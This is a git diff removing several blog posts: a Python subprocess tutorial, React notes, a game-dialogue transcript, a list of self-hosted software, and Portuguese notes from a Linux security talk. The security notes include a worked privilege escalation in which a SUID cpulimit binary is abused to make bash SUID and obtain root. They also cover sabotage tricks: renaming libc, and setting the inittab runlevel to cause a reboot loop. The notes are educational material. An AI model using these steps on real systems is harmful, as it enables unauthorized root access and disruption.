'library, subprocess, process, cli' -author: 'mateusfg7' ---- - -[screenshot_1]: https://i.ibb.co/xXT9dmc/screenshot-1.png -[screenshot_2]: https://i.ibb.co/3c7D4xz/screenshot-2.png -[screenshot_3]: https://i.ibb.co/GH9sgFb/screenshot-3.png -[screenshot_4]: https://i.ibb.co/qC5v75L/screenshot-4.png - -# Introduction - -A subprocess is OS process that runs inside of another process father. The `subprocess` module allows to run subprocess with Python. - -We can use `subprocess` to run shell commands in a better way than `os.system` module. - -# Execute a command - -Now, we can just run a command to see the files in the current folder. In Linux we will run the `ls` command, like this: - -![/assets/python-subprocess/screenshot_1][screenshot_1] - -_The `-l` option is to show the details of the files._ - -To run this with `subprocess` we need to run the `call()` function. The first param of the function is an list, with the command, where each value of the list is an option of the command: - -```python -subprocess.call(['ls', '-l']) -``` - -_Otherwise we can use a simple string. e.g.: `'ls -l'`_ - -![/assets/python-subprocess/screenshot_2][screenshot_2] - -# Check command output - -To check the output of the command we will use the function `check_call()`. Why not use `call()`, again? If occurs an error in the command execute, the `call()` will just show the error, without the possibility of handling this error. The same not occurs with `check_call()`, we can get the error, and handling it. - -```python -import subprocess - -try: - subprocess.check_call(['cat', 'file_1.py']) -except Exception as E: - print(E) -``` - -![/assets/python-subprocess/screenshot_3][screenshot_3] - -# Get the command output - -To save the output of the command in a variable, we will use `check_output()`. - -```python -import subprocess - -o = subprocess.check_output(['cat', 'file_1.py']) - -print("Output:", o) -``` - -![/assets/python-subprocess/screenshot_4][screenshot_4] - -# Popen: icing on the cake - -The function `Popen` is like `call()`, but their return an object with several object to handler the output, error, etc. - -Lets run a python program: - -```python -subprocess.Popen('python3 file_1.py', stdout=subprocess.PIPE, shell=True).stdout.read() -``` - -The `stdout=subprocess.PIPE` param defines that the output of the subprocess is not the terminal, but the own process. The `shell=True` defines that the process will run in the own command line. - -We are getting the `stdout` object of `Popen`, and running the `read()` function to read the output of the command. - ---- - -# referencies - -Aulas Python - 114 - Ferramentas de Sistema X: Módulo subprocess: [https://www.youtube.com/watch?v=jgmIUa2_wSY](https://www.youtube.com/watch?v=jgmIUa2_wSY) diff --git a/content/posts/react-native_notes_nlw5.mdx b/content/posts/react-native_notes_nlw5.mdx deleted file mode 100644 index 43c56ba1..00000000 --- a/content/posts/react-native_notes_nlw5.mdx +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: 'NLW#5 - React Native Notes' -date: '2021-05-11' -description: React Native notes write during NextLevelWeek #5 of the Rocketseat' -category: 'React Native' -tags: 'nlw5, rocketseat, mobile, expo, libs' -author: 'mateusfg7' ---- - -# Packages - -To install a package with expo just type: - -``` -$ expo install [package] -``` - -## Used Packages/Components - -- **react-native** (does not need installation) - - - **SafeAreaView**: _A view, but contain all the content in visible area of the phone. (just works on Iphone)_ - - **Platform**: _Get information about the running device._ - - **StatusBar**: _Get information and dimensions about the status bar of the phone._ - - **Dimensions**: _Get dimensions of the phone._ - - **KeyboardAvoidingView**: _A view that modify the elements position when the keyboard is open._ - - **FlatList**: _Component to create a list of items, something like `map()` of Javascript._ - - **ActivityIndicator**: _Component to show load circle_ - -- **expo** - - - **@expo/vector-icons**: _Use most common icons on expo, equivalent to react-icons package for React._ - - **expo-font**: _Use customized fonts on expo._ - - **@expo-google-fonts/[font]**: _Use a specific font from google fonts. package e.g.: @expo-google-fonts/inter_ - - **expo-app-loading**: _The splash screen as a component_ - - **lottie-react-native**: _Use animation on expo/react-native_ - -- **misc**: - - **RectButton** from **react-native-gesture-handler**: _Button component with native press style. Types: **RectButtonProps**._ - - **Swipeable** from **react-native-gesture-handler/Swipeable**: _A view thats allows swipe it to any side, and render some component behind original component_ - - **react-native-iphone-x-helper**: _Misc help methods for Iphone X_ - -# Javascript/Typescript - -## If/Else - -The `if` conditional accepts a block without `{}`, like: - -```typescript -if (condition) return 'Hello Word' - -if (condition) return 'Hello Word' -``` diff --git a/content/posts/react_notes_nlw5.mdx b/content/posts/react_notes_nlw5.mdx deleted file mode 100644 index df1d3263..00000000 --- a/content/posts/react_notes_nlw5.mdx +++ /dev/null @@ -1,64 +0,0 @@ ---- -title: 'NLW#5 - React Notes' -date: '2021-05-04' -description: 'React notes write during NextLevelWeek #5 of the Rocketseat' -category: 'Next.js' -tags: 'nlw5, rocketseat, web, ssr, ssg, tips' -author: 'mateusfg7' ---- - -# CSS - -## Y-Scroll just to a component - -_You need to set a fixed height_ - -```css -.component { - height: 100vh; - overflow-y: scroll; -} -``` - -## Use "..." when the text exceed component width - -```css -.component { - text-overflow: ellipsis; -} -``` - -# JS - -## Ternary If/Else - -```js -a = 1 -b = 2 - -c = a == 1 ? a : b -``` - -_without "else"_ - -```js -a = 1 -b = 2 - -c = a == 1 && a -``` - -_just the "else"_ - -```js -a = 1 -b = 2 - -c = a != 1 || b -``` - ---- - -# referencies - -Rocketseat: [_https://rocketseat.com.br/_](https://rocketseat.com.br/) diff --git a/content/posts/s3-plan.mdx b/content/posts/s3-plan.mdx deleted file mode 100644 index 1ea1d82a..00000000 --- a/content/posts/s3-plan.mdx +++ /dev/null @@ -1,297 +0,0 @@ ---- -title: 'S3 Plan - Solid Snake Simulation' -date: '2022-11-16' -lastUpdate: '2022-12-02' -description: 'The Selection for Societal Sanity' -category: 'Filosofia' -tags: 'society, metal gear, games, transcript, talk, Hideo Kojima' -author: 'mateusfg7' ---- - -# Metadata - -Colonel/Rose A.I speech - Raiden | _Metal Gear Solid 2_ - -# Transcript - -**Colonel**: -To begin with -- we're not what you'd call -- human.Over the past two hundred years -- A kind of consciousness formed layer by layer in the crucible of the White House.It's not unlike the way life started in the oceans four billion years ago.The White House was our primordial soup, a base of evolution -- We are formless.We are the very discipline and morality that Americans invoke so often.How can anyone hope to eliminate us?As long as this nation exists, so will we. - -**Raiden**: -Cut the crap! If you're immortal, why would you take away individual freedoms and censor the Net? - -**Rose**: -Jack, don't be silly. - -**Colonel**: -Don't you know that our plans have your interests -- not ours -- in mind? - -**Raiden**: -What? - -**Rose**: -Jack, listen carefully like a good boy! - -**Colonel**: -The mapping of the human genome was completed early this century. -As a result, the evolutionary log of the human race lay open to us. - -**Rose**: -We started with genetic engineering, and in the end, we succeeded in digitizing life itself. - -**Colonel**: -But there are things not covered by genetic information. - -**Raiden**: -What do you mean? - -**Colonel**: -Human memories, ideas. -Culture. -History. - -**Rose**: -Genes don't contain any record of human history. - -**Colonel**: -Is it something that should not be passed on? -Should that information be left at the mercy of nature? - -**Rose**: -We've always kept records of our lives. -Through words, pictures, symbols... -from tablets to books... - -**Colonel**: -But not all the information was inherited by later generations. -A small percentage of the whole was selected and processed, then passed on. -Not unlike genes, really. - -**Rose**: -That's what history is, Jack. - -**Colonel**: -But in the current, digitized world, trivial information is accumulating every second, preserved in all its triteness. -Never fading, always accessible. - -**Rose**: -Rumors about petty issues, misinterpretations, slander... - -**Colonel**: -All this junk data preserved in an unfiltered state, growing at an alarming rate. - -**Rose**: -It will only slow down social progress, reduce the rate of evolution. - -**Colonel**: -Raiden, you seem to think that our plan is one of censorship. - -**Raiden**: -Are you telling me it's not!? - -**Rose**: -You're being silly! What we propose to do is not to control content, but to create context. - -**Raiden**: -Create context? - -**Colonel**: -The digital society furthers human flaws and selectively rewards the development of convenient half-truths. -Just look at the strange juxtapositions of morality around you. - -**Rose**: -Billions spent on new weapons in order to humanely murder other humans. - -**Colonel**: -Rights of criminals are given more respect than the privacy of their victims. - -**Rose**: -Although there are people suffering in poverty, huge donations are made to protect endangered species. -Everyone grows up being told the same thing. - -**Colonel**: -"Be nice to other people." - -**Rose**: -"But beat out the competition!" - -**Colonel**: -"You're special." -"Believe in yourself and you will succeed." - -**Rose**: -But it's obvious from the start that only a few can succeed... - -**Colonel**: -You exercise your right to "freedom" and this is the result. -All rhetoric to avoid conflict and protect each other from hurt. -The untested truths spun by different interests continue to churn and accumulate in the sandbox of political correctness and value systems. - -**Rose**: -Everyone withdraws into their own small gated community, afraid of a larger forum. -They stay inside their little ponds, leaking whatever "truth" suits them into the growing cesspool of society at large. - -**Colonel**: -The different cardinal truths neither clash nor mesh. -No one is invalidated, but nobody is right. - -**Rose**: -Not even natural selection can take place here. -The world is being engulfed in "truth". - -**Colonel**: -And this is the way the world ends. -Not with a bang, but a whimper. - -**Rose**: -We're trying to stop that from happening. - -**Colonel**: -It's our responsibility as rulers. -Just as in genetics, unnecessary information and memory must be filtered out to stimulate the evolution of the species. - -**Raiden**: -And you think you're qualified to decide what's necessary and not? - -**Colonel**: -Absolutely. -Who else could wade through the sea of garbage you people produce, retrieve valuable truths and even interpret their meaning for later generations? - -**Rose**: -That's what it means to create context. - -**Raiden**: -I'll decide for myself what to believe and what to pass on! - -**Colonel**: -But is that even your own idea? - -**Rose**: -Or something Snake told you? - -**Colonel**: -That's the proof of your incompetence, right there. -You lack the qualifications to exercise free will. - -**Raiden**: -That's not true! I have the right -- - -**Rose**: -Does something like a "self" exist inside of you? - -**Colonel**: -That which you call "self" serves as nothing more than a mask to cover your own being. - -**Rose**: -In this era of ready-made 'truths', "self" is just something used to preserve those positive emotions that you occasionally feel... - -**Colonel**: -Another possibility is that "self" is a concept you conveniently borrowed under the logic that it would endow you with some sense of strength... - -**Raiden**: -That's crap! - -**Colonel**: -Is it? -Would you prefer that someone else tell you? -Alright then. -Explain it to him. - -**Rose**: -Jack, you're simply the best! And you got there all by yourself! - -**Raiden**: -Grrr... - -**Colonel**: -Oh, what happened? -Do you feel lost? -Why not try a bit of soul-searching? - -**Rose**: -Don't think you'll find anything, though... - -**Colonel**: -Ironic that although "self" is something that you yourself fashioned, every time something goes wrong, you turn around and place the blame on something else. - -**Rose**: -"It's not my fault. It's not your fault." - -**Colonel**: -In denial, you simply resort to looking for another, more convenient "truth" in order to make yourself feel better. - -**Rose**: -Leaving behind in an instant the so-called "truth" you once embraced. - -**Colonel**: -Should someone like that be able to decide what is "truth"? - -**Rose**: -Should someone like you even have the right to decide? - -**Colonel**: -You've done nothing but abuse your freedom. - -**Rose**: -You don't deserve to be free! - -**Colonel**: -We're not the ones smothering the world. -You are. - -**Rose**: -The individual is supposed to be weak. -But far from powerless -- a single person has the potential to ruin the world. - -**Colonel**: -And the age of digitized communication has given even more power to the individual. -Too much power for an immature species. - -**Rose**: -Building a legacy involves figuring out what is wanted, and what needs to be done for that goal. -All this, you used to struggle with. -Now, we think for you. - -**Colonel**: -We are your guardians after all. - -**Raiden**: -You want to control human thought? -Human behavior? - -**Colonel**: -Of course. -Anything can be quantified nowadays. -That's what this exercise was designed to prove. - -**Rose**: -You fell in love with me just as you were meant to, after all. -Isn't that right, Jack? - -**Colonel**: -Ocelot was not told the whole truth, to say the least. - -**Rose**: -We rule an entire nation -- of what interest would a single soldier, no matter how able, be to us? - -**Colonel**: -The S3 Plan does not stand for Solid Snake Simulation. -What it does stand for is Selection for Societal Sanity... - -# Video - - - ---- - -# Refs - -MGS2 Colonel A.I speech: [_https://www.reddit.com/r/copypasta/comments/9l5ri2/mgs2_colonel_ai_speech/_](https://www.reddit.com/r/copypasta/comments/9l5ri2/mgs2_colonel_ai_speech/) [[Archive]](https://web.archive.org/web/20221116201321/https://www.reddit.com/r/copypasta/comments/9l5ri2/mgs2_colonel_ai_speech/) diff --git a/content/posts/seguranca-em-linux-notes.mdx b/content/posts/seguranca-em-linux-notes.mdx deleted file mode 100644 index 5cfd438b..00000000 --- a/content/posts/seguranca-em-linux-notes.mdx +++ /dev/null @@ -1,284 +0,0 @@ ---- -title: 'Segurança em Linux — Notes' -date: '2021-06-28' -lastUpdate: '2021-06-29' -description: '"Usem linux… porque no linux não tem vírus?"' -category: 'Linux' -tags: 'security, roadsec, notes' -author: 'mateusfg7' ---- - -[screenshot1]: https://i.ibb.co/FwtgFW9/screenshot1.png -[screenshot2]: https://i.ibb.co/Vp6L0Wd/screenshot2.png -[screenshot3]: https://i.ibb.co/cQwP1vZ/screenshot3.png -[screenshot4]: https://i.ibb.co/vLt4SWD/screenshot4.png -[screenshot5]: https://i.ibb.co/Bz24N39/screenshot5.png -[screenshot6]: https://i.ibb.co/yXY0CF6/screenshot6.png -[screenshot7]: https://i.ibb.co/vmK7kkf/screenshot7.png -[screenshot8]: https://i.ibb.co/0f47hDk/screenshot8.png -[screenshot9]: https://i.ibb.co/nsd2Xnr/screenshot9.png -[screenshot10]: https://i.ibb.co/x3KW4wx/screenshot10.png -[screenshot11]: https://i.ibb.co/DC9K3Vv/screenshot11.png -[screenshot12]: https://i.ibb.co/N1VyGNC/screenshot12.png - -# Notes - -> "Usem linux… porque no linux não tem vírus?" - -Notas baseadas na live "Segurança em Linux — Christiano Linuxman | ROADSEC@HOME#37" da Roadsec, no YouTube. - -## Identificação de usuários - -| usuár. | núme. | -| --------- | -------------- | -| **root** | _0_ | -| **syst.** | _1 a 999_ | -| **comum** | _1000 a 65535_ | - -## Permissões - -| ação | núme. | -| --------- | ----- | -| read | 4 | -| write | 2 | -| execute | 1 | -| **total** | **7** | - -### Manipulação de arquivos - -Tudo no linux é **arquivo** ou **pasta**. A ordem de permissão de manipular esses arquivos é: - -| **dono** | . | **grupo** | . | **outras** | -| ------------ | --- | ------------ | --- | ------------ | -| **7**(_rwx_) | | **7**(_rwx_) | | **7**(_rwx_) | - -A hierarquia de permissões se da por: - -- Pasta - - Arquivo - - Arquivo - -### Umask - -`umask` - **user mask** - _0 022_ - -A `umask` influencia na permissão de criação de diretórios e arquivos. A `umask` é um padrão a nível de _kernel_. - -Toda vez que criarmos uma pasta/arquivo, será subtraído a nossa `umask` (022) da permissão máxima (777), e o resultado será a permissão desta pasta/arquivo. - -`mkdir mateus_pasta` - -$$ 777 – 022 = 755 $$ - -**7**_rwx_ **5**_r-x_ **5**_r-x_ - -![/assets/seguranca-em-linux-notes/screenshot1][screenshot1] - -No caso do arquivo, será subtraído mais 1 bit de cada permissão (111). - -`touch arquivo` - -$$755 - 111 = 644$$ - -**6**_rw-_ **4**_r--_ **4**_r--_ - -![/assets/seguranca-em-linux-notes/screenshot2][screenshot2] - -> O `d` junto com as perimções indica que o arquivo é um diretório. - -#### Permissões especiais - -Existem também as permissões especiais de usuário, representado pelo primeiro número da `umask` _**0**022_. - -| permission | n.º | power | -| ---------- | --- | --------------------------------------------------- | -| SUID BIT | 4 | rodar binários com o poder de root | -| SGID BIT | 2 | PDC | -| STICK BIT | 1 | define que só quem pode deletar um arquivo é o dono | - -Imagine o cenário que precisamos que alguém execute o comando `shutdown`, porem não queremos passar a senha de _root_. Podemos dar a permissão _SUID BIT_ para o binário `shutdown`: - -``` -$ chmod 4755 /sbin/shutdown -``` - -Assim, qualquer usuário pode executar o comando `shutdown` com poder de _root_ sem precisar ser _root_. - -## O mito - -1. (**P.**) _Arquivos criados pelo usuário têm a permissão 644._ -2. (**P.**) _Um vírus é um binário com poder de execução._ -3. (**1**) _Um usuário não pode criar um binário naturalmente._ -4. (**2**, **3**) ∴ _Sem binários, sem vírus._ - -## Manipulando arquivos no lugar certo - -### Libs - -Para cada comando no linux, precisamos de bibliotecas para funcionarem (equivalentes a DLLs do Windows). Então como sei as _libs_ necessárias para rodar um determinado comando? É só usar o comando `ldd`. - -> Ambiente Ubuntu 20.04 no [KataCoda](https://www.katacoda.com/) - -``` -$ which ls -/usr/bin/ls - -$ ldd /usr/bin/ls - linux-vdso.so.1 (0x00007ffe4b5fc000) - libselinux.so.1 => /lib/x86_64-linux-gnu/libselinux.so.1 (0x00007f1e050ec000) - libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f1e04efa000) - libpcre2-8.so.0 => /lib/x86_64-linux-gnu/libpcre2-8.so.0 (0x00007f1e04e6a000) - libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f1e04e64000) - /lib64/ld-linux-x86-64.so.2 (0x00007f1e05147000) - libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f1e04e41000) -``` - -Agora executando o comando `ldd` nos binários `cat` e `wget`: - -``` -$ ldd /bin/cat - linux-vdso.so.1 (0x00007ffeddfd2000) - libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f9923dc0000) - /lib64/ld-linux-x86-64.so.2 (0x00007f9923fc9000) -$ ldd /bin/wget - linux-vdso.so.1 (0x00007ffcbd989000) - libpcre2-8.so.0 => /lib/x86_64-linux-gnu/libpcre2-8.so.0 (0x00007fbdc6c35000) - libuuid.so.1 => /lib/x86_64-linux-gnu/libuuid.so.1 (0x00007fbdc6c2c000) - libidn2.so.0 => /lib/x86_64-linux-gnu/libidn2.so.0 (0x00007fbdc6c0b000) - libssl.so.1.1 => /lib/x86_64-linux-gnu/libssl.so.1.1 (0x00007fbdc6b78000) - libcrypto.so.1.1 => /lib/x86_64-linux-gnu/libcrypto.so.1.1 (0x00007fbdc68a2000) - libz.so.1 => /lib/x86_64-linux-gnu/libz.so.1 (0x00007fbdc6886000) - libpsl.so.5 => /lib/x86_64-linux-gnu/libpsl.so.5 (0x00007fbdc6871000) - libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fbdc667f000) - libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007fbdc665c000) - /lib64/ld-linux-x86-64.so.2 (0x00007fbdc6d5e000) - libunistring.so.2 => /lib/x86_64-linux-gnu/libunistring.so.2 (0x00007fbdc64da000) - libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fbdc64d4000) -``` - -Há uma semelhança notável entre os 3 binários, a biblioteca `libc.so.6`. - -![/assets/seguranca-em-linux-notes/screenshot3][screenshot3] - -A maioria dos comandos linux usam essa biblioteca para funcionarem. Mas se mudarmos o nome desse arquivo e tentarmos executar o `ls`? - -![/assets/seguranca-em-linux-notes/screenshot4][screenshot4] - -O sistema sentou. Bem, para resolver isso é só dar o `mv` de volta… - -![/assets/seguranca-em-linux-notes/screenshot5][screenshot5] - -### Inicialização do Linux - -No linux temos 6 tipos de _runlevel_, são eles: - -| n.º | command | -| --- | ---------------------------------- | -| 0 | shutdown | -| 1 | modo de segurança | -| 2 | multi-usuário/sem gráfico (debian) | -| 3 | multi-usuário | -| 4 | personalização | -| 5 | multi-usuário/gráfico | -| 6 | reboot | - -Então se eu souber qual é o primeiro processo, que é o `init` e chamar o _runlevel_ 0 a máquina irá desligar. - -``` -$ init 0 -``` - -Estamos no _level_ 5, podemos conferir isso rodando o comando `runlevel`: - -![/assets/seguranca-em-linux-notes/screenshot6][screenshot6] - -O N significa que não ouve nenhuma alteração de um _runlevel_ dês da última inicialização. Podemos alterar esses _runlevel_, e eles estão associados a nossas pastas, se irmos ate a pasta `/etc` teremos uma pasta para cada _runlevel_: - -![/assets/seguranca-em-linux-notes/screenshot7][screenshot7] - -Na pasta `rc5.d`, por exemplo, temos alguns processos que não irão subir, iniciador pela letra K (_kill_), e alguns que irão subir, iniciados pela letra S (_start_), neste determinado _runlevel_ (5). - -![/assets/seguranca-em-linux-notes/screenshot8][screenshot8] - -No arquivo `/etc/inittab`, na segunda linha temos: - -``` -id:5:initdefault -``` - -Oque aconteceria se mudarmos esse número de 5 para 6, e desligarmos, logo após, alguém ligar o PC para navegar na internet? A sequência é: - -_`id:5:initdefault`_ - -- Botão Power - - BIOS/MBR - - gerenciador de boots (grub2) - - kernel - - init - - DM - - DE (onde estamos) - -_`id:6:initdefault`_ - -- Botão Power - - BIOS/MBR - - gerenciador de boots (grub2) - - kernel - - init = 6 (reboot) - -Caímos em um loop. - -## Privilege Escalation - -Vamos tentar fazer um ataque de _privilege escalation_ em um Linux, usando as permissões como área de exploração. - -Primeiro vamos pesquisar na raiz do sistema, todo arquivo que tenha a permissão 4000, com o comando `find / -perm -4000 2>/dev/null`: - -![/assets/seguranca-em-linux-notes/screenshot9][screenshot9] - -Obteremos vários resultados úteis, mas o que queremos é o _cpulimit_: - -![/assets/seguranca-em-linux-notes/screenshot10][screenshot10] - -O _cpulimit_ tem a permissão _SUID BIT_, ou seja, quando executa-lo ele irá trabalhar como root. Sendo assim, podemos criar uma pasta na raiz executando o comando `cpulimit -l 100 -r mkdir /pasta`, mesmo como um usuário comum: - -![/assets/seguranca-em-linux-notes/screenshot11][screenshot11] - -Bem, se podemos executar um binário como root, e se usarmos isso para dar permissão _SUID BIT_ também no binário `bash`? - -![/assets/seguranca-em-linux-notes/screenshot12][screenshot12] - -1. Dou permissão SUID BIT para o binário bash - -``` -~$ cpulimit -l 100 -f chmod 4755 /usr/bin/bash -``` - -2. Movo o binário para minha pasta - -``` -~$ cpulimit -l 100 -f cp /usr/bin/bash /mr_robot/ -``` - -3. Certifico que ele tem as permissões necessárias - -``` -~$ cpulimit -l 100 -f chmod +s /mr_robot/bash -``` - -4. Por fim executo o binário - -``` -~$ ./bash -p -``` - -``` -~# id -uid=1001(mateus) gid=1001(mateus) euid=0(root) groups=1001(mateus) -``` - ---- - -# referências - -Segurança em Linux - Christiano Linuxman | ROADSEC@HOME#37: [_https://www.youtube.com/watch?v=AzB5BNDTXOk_](https://www.youtube.com/watch?v=AzB5BNDTXOk) diff --git a/content/posts/self-hosted-softwares.mdx b/content/posts/self-hosted-softwares.mdx deleted file mode 100644 index cf757703..00000000 --- a/content/posts/self-hosted-softwares.mdx +++ /dev/null @@ -1,182 +0,0 @@ ---- -title: 'Self-Host Softwares List' -date: '2021-05-25' -description: 'A list with some self-host softwares' -category: 'List' -tags: 'server, self-host, devops, tools' -author: 'mateusfg7' ---- - -# Introduction - -Self-Host softwares is the softwares that you can upload an instance on your own web server, gaining control and privacy, without depending on third parties. - -It is highly recommended to upload instances in a [docker](https://www.docker.com/) container. - -# Softwares - -## Storage - -> Alternatives to: Dropbox, Mega, Google Drive, OneDrive, Mediafire... - -[**Nextcloud**](https://nextcloud.com/): _Nextcloud is a suite of client-server software for creating and using file hosting services. It is enterprise-ready with comprehensive support options. Being free and open-source software, anyone is allowed to install and operate it on their own private server devices._ - -[**Tahoe-LAFS**](https://www.tahoe-lafs.org/trac/tahoe-lafs): _Tahoe-LAFS is a Free and Open decentralized cloud storage system. It distributes your data across multiple servers. Even if some of the servers fail or are taken over by an attacker, the entire file store continues to function correctly, preserving your privacy and security._ - -[**Tonido**](https://www.tonido.com/): _Tonido Server allows you to access all your files on your computer from a web browser, smartphone, tablet or even DLNA enabled devices. Easy to get started: just install the Tonido Server software and your computer turns into a private cloud server. Easy to remember link to your computer. e.g.: http://john.tonidoID.com._ - -[**ownCloud**](https://owncloud.com/): _Access, Sync and Share Your Data, Under Your Control! ownCloud is a self-hosted file sync and share server. It provides access to your data through a web interface, sync clients or WebDAV while providing a platform to view, sync and share across devices easily — all under your control. ownCloud’s open architecture is extensible via a simple but powerful API for applications and plugins and it works with any storage._ - -[**Resilio Sync & Sync Pro (Personal)**](https://www.resilio.com/): _A fast, reliable, and simple file sync and share solution. Sync any folder to all your devices. Sync photos, videos, music, PDFs, docs or any other file types to/from your mobile phone, laptop, or NAS. Build your own private cloud and create a private cloud that is securely distributed across devices you own. Your cloud is much faster than the public cloud. It is also much safer – no one can steal your data from the cloud if your data is not in the cloud._ - -[**Syncthing**](https://syncthing.net/): _Syncthing replaces proprietary sync and cloud services with something open, trustworthy and decentralized. Your data is your data alone and you deserve to choose where it is stored, if it is shared with some third party and how it’s transmitted over the Internet._ - -[**Cozy**](https://cozy.io/en/): _Store, sync, and share your data just the way you want it. Run your cloud at home. Enjoy better storage and keep your data private. Cozy is a versatile and extensible platform that can be put to a variety of practical uses: from sharing your photos with friends and family to contacts and schedule management. More importantly, Cozy can be hosted on your own physical or virtual server._ - -## Share - -[**Snapdrop**](https://github.com/RobinLinus/snapdrop): _Local file sharing in your browser. Inspired by Apple's Airdrop._ - -## Media - -> Alternative to: Netflix, Youtube, Spotify, Google Photos... - -[**Emby**](https://emby.media/): _Bringing all of your home videos, music, and photos together into one place has never been easier. Your personal Emby Server automatically converts and streams your media on-the-fly to play on any device._ - -[**Jellyfin**](https://jellyfin.org/): _Jellyfin is the volunteer-built media solution that puts you in control of your media. Stream to any device from your own server, with no strings attached. Your media, your server, your way._ - -[**PeerTube**](https://joinpeertube.org/): _PeerTube, developed by Framasoft, is the free and decentralized alternative to video platforms, providing you over 400,000 videos published by 60,000 users and viewed over 15 million times_ - -[**navidrome**](https://github.com/navidrome/navidrome): _Navidrome is an open source web-based music collection server and streamer. It gives you freedom to listen to your music collection from any browser or mobile device. It's like your personal Spotify!_ - -[**Lidarr**](https://lidarr.audio/): _Lidarr is a music collection manager for Usenet and BitTorrent users. It can monitor multiple RSS feeds for new albums from your favorite artists and will interface with clients and indexers to grab, sort, and rename them. It can also be configured to automatically upgrade the quality of existing files in the library when a better quality format becomes available._ - -[**PhotoPrism**](https://github.com/photoprism/photoprism): _PhotoPrism® is a privately hosted app for browsing, organizing, and sharing your photo collection. It makes use of the latest technologies to tag and find pictures automatically without getting in your way. Say goodbye to solutions that force you to upload your visual memories to the cloud!_ - -[**Tdarr**](https://tdarr.io): _Tdarr V2 is a cross-platform, distributed transcoding system which is broken up into multiple modules. Getting multiple machines working together across a local network requires some configuration._ - -## Social - -[**Element**](https://element.io/): _Element is a messenger that gives you the privacy you expect from a conversation in your own home, but with everyone across the globe._ - -[**Rocket.chat**](https://rocket.chat/): _Keep the workflow going by centralizing all your tools and touchpoints in one platform. Made for team -collaboration, DevOps and customer engagement._ - -## Remote Controll - -[**Apache Guacamole**](https://guacamole.apache.org/): _Apache Guacamole is a clientless remote desktop gateway. It supports standard protocols like VNC, RDP, and SSH. We call it clientless because no plugins or client software are required. Thanks to HTML5, once Guacamole is installed on a server, all you need to access your desktops is a web browser._ - -## Library - -[**LazyLibrarian**](https://gitlab.com/LazyLibrarian/LazyLibrarian): _LazyLibrarian is a SickBeard, CouchPotato, Headphones-like application for ebooks, audiobooks and magazines._ - -[**BookStack**](https://www.bookstackapp.com/): _BookStack is a simple, self-hosted, easy-to-use platform for organising and storing information._ - -[**Wiki.js**](https://js.wiki/): _Make documentation a joy to write using Wiki.js's beautiful and intuitive interface!_ - -## Feed Agregator - -> Alternative to: Pocket, Feedly... - -[**wallabag**](https://github.com/wallabag/wallabag): _wallabag is a self hostable application for saving web pages: Save and classify articles. Read them later. Freely._ - -[**FreshRSS**](https://freshrss.org/): _A free, self-hostable aggregator._ - -## Download - -[**qBittorrent**](https://www.qbittorrent.org/): _The qBittorrent project aims to provide an open-source software alternative to µTorrent._ - -[**Deluge**](https://deluge-torrent.org/): _Deluge is a lightweight, Free Software, cross-platform BitTorrent client._ - -[**pyLoad**](https://pyload.net/): _Free and Open Source download manager written in Python and designed to be extremely lightweight, easily extensible and fully manageable via web._ - -## Security - -[**VaultWarden**](https://github.com/dani-garcia/vaultwarden): _Alternative implementation of the Bitwarden server API written in Rust and compatible with upstream Bitwarden clients\*, perfect for self-hosted deployment where running the official resource-heavy service might not be ideal._ - -[**Vault**](https://www.vaultproject.io/): _Secure, store and tightly control access to tokens, passwords, certificates, encryption keys for protecting secrets and other sensitive data using a UI, CLI, or HTTP API._ - -[**Bitwarden**](https://github.com/bitwarden/server): _Open source password management solutions for individuals, teams, and business organizations._ - -## Web Search - -> Alternative to: Google, DuckDuckGo, Bing... - -[**searx**](https://github.com/searx/searx): _Privacy-respecting metasearch engine._ - -## Office - -[**OnlyOffice**](https://www.onlyoffice.com/): _OnlyOffice, stylized as ONLYOFFICE, is a free software office suite developed by Ascensio System SIA, a company headquartered in Riga, Latvia. It features online document editors, platform for document management, corporate communication, mail and project management tools._ - -[**CUPS**](https://www.cups.org/): _CUPS is the standards-based, open source printing system developed by Apple Inc. for macOS® and other UNIX®-like operating systems. CUPS uses the Internet Printing Protocol (IPP) to support printing to local and network printers._ - -[**LeanTime**](https://leantime.io/): _Straightforward open source project management system to make your ideas reality._ - -## Code - -[**Gitea**](https://gitea.io/en-us/): _Gitea is an open-source forge software package for hosting software development version control using Git as well as other collaborative features like bug tracking, wikis and code review. It supports self-hosting but also provides a free public first-party instance hosted in China on DiDi's cloud. It is a fork of Gogs and is written in Go. Gitea can be hosted on all platforms supported by Go including Linux, macOS, and Windows. The project is funded on Open Collective._ - -[**Bitbucket**](https://bitbucket.org/product/enterprise): _Bitbucket Data Center is a self-managed solution that provides source code collaboration for professional teams of any size, across any distance_ - -[**code-server**](https://github.com/cdr/code-server): _Run VS Code on any machine anywhere and access it in the browser._ - -[**Jenkins**](https://www.jenkins.io/): _The leading open source automation server, Jenkins provides hundreds of plugins to support building, deploying and automating any project._ - -[**Jupyter**](https://jupyter.org/): _JupyterLab is a web-based interactive development environment for Jupyter notebooks, code, and data. JupyterLab is flexible: configure and arrange the user interface to support a wide range of workflows in data science, scientific computing, and machine learning. JupyterLab is extensible and modular: write plugins that add new components and integrate with existing ones._ - -## Home Automation - -[**home-assistent**](https://github.com/home-assistant/core): _Open source home automation that puts local control and privacy first. Powered by a worldwide community of tinkerers and DIY enthusiasts. Perfect to run on a Raspberry Pi or a local server._ - -[**Home Bridge**](https://homebridge.io/): _Homebridge allows you to integrate with smart home devices that do not natively support HomeKit. There are over 2,000 Homebridge plugins supporting thousands of different smart accessories._ - -## Finance - -[**Firely**](https://www.firefly-iii.org/): _A free and open source personal finance manager._ - -## Router - -[**OPNSense**](https://opnsense.org/): _From Virtual Private Networking to Intrusion Detection, Best in class, FREE Open Source Project._ - -[**pfSense**](https://www.pfsense.org/): _pfSense is a firewall/router computer software distribution based on FreeBSD. pfSense Community Edition (CE) is the partially open source version while pfSense Plus has moved to a closed source model. It is installed on a physical computer or a virtual machine to make a dedicated firewall/router for a network. It can be configured and upgraded through a web-based interface, and requires no knowledge of the underlying 